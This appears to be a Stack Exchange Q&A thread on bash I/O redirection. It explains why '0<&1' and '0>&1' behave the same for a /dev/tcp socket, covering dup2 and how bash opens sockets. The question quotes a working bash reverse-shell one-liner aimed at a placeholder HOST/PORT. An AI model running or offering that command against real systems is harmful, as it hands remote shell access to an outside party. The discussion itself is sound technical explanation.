4

I was searching a way to get a reverse shell in bash, when I found this:

bash -i > /dev/tcp/HOST/PORT 0<&1 2>&1

As I understand, stdout and stderr are sent through the connection(/dev/tcp/HOST/PORT), and stdin reads through the connection(0<&1). But, as I read here, the expression 0>&1 works too. This doesn't make sense for me (as I learned, > is for 'write to the following fd', and < for 'read from the following fd' ) and only should work the first way.

My question is: Did I forget something or I'm absolutely wrong? What are the internal processes involved in this sample of I/O redirection?

4

The only difference between the <& and >& syntaxes is that the former checks if the target file descriptor is open for input, and the latter checks if it's open for output. The actual operation is the same in both cases (probably a dup2 call). Meanwhile, > /dev/tcp/HOST/PORT isn't doing an open syscall, like most redirections; the /dev/tcp syntax is a bash special case, and in fact bash is opening a socket (which then behaves like a normal file descriptor w.r.t. the read and write calls). Sockets don't have the property that open files have of being opened for only read or only write; a socket allows both reading and writing (though you can shutdown(2) either half of that, if you want). Thus, bash doesn't redirection-error either of the two syntaxes used, and since the dup2 call is the same, the behavior is identical.

  • pretty much any file will allow read and write - else what good would they be? you can open an fd with <> that way as well. – mikeserv Oct 8 '15 at 17:35
  • Yes, but the default mode for file redirections is either read-only or write-only. (And mixing read and write operations to an open file is a somewhat rare special case, whereas mixing read and write operations to a socket is the first thing everyone does.) – Tom Hunt Oct 8 '15 at 17:37
3

Yes. < > mean the things you say when they apply to an open(). But you don't do that when you're working with pre-existing file descriptors - they're already open()'d. So it doesn't matter which of those tokens you use because the shell is not going to change the read/write characteristics of a file-descriptor it's already got - it's only going to dup() it.

So...

{ read v <&4; } 4>/dev/null

read: read error: 0: Bad file descriptor

But...

{ read v 0>&4; } 4</dev/null

...doesn't complain at all.

In both of the above examples the file descriptors are successfully duplicated. The shell doesn't complain about the fd duping because that works just fine. Here's basically the same thing as the one that complained before:

{ echo hi there; read v; } 0>/dev/null

hi there
read: read error: 0: Bad file descriptor

It's read complaining there because when it tries to read from file descriptor zero it gets EBADF. The shell is just as successful at duping &4 to stdin in the first example as it is successful at doing the write-only open() on stdin in the second.

Actually, in an fd dup context the < and > tokens are not completely insignificant, though, because <&[num] and >&[num] are still shorthand for 0<&[num] and 1>&[num] of course.

  • I don't get it: does read use fd 0 as standard or is 4 a pre-existing fd? Is read v <&4; the same as read v 0<&4;? – Le Ploit Oct 8 '15 at 19:04
  • @LePloit - ...uhh. both. I put the read command in a {compound command} context, and so all redirections which occur to the right of its closing brace are applied to the entire group, and they are applied before any enclosed commands are run. So &4 pre-exists the read simple command. – mikeserv Oct 8 '15 at 22:30

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.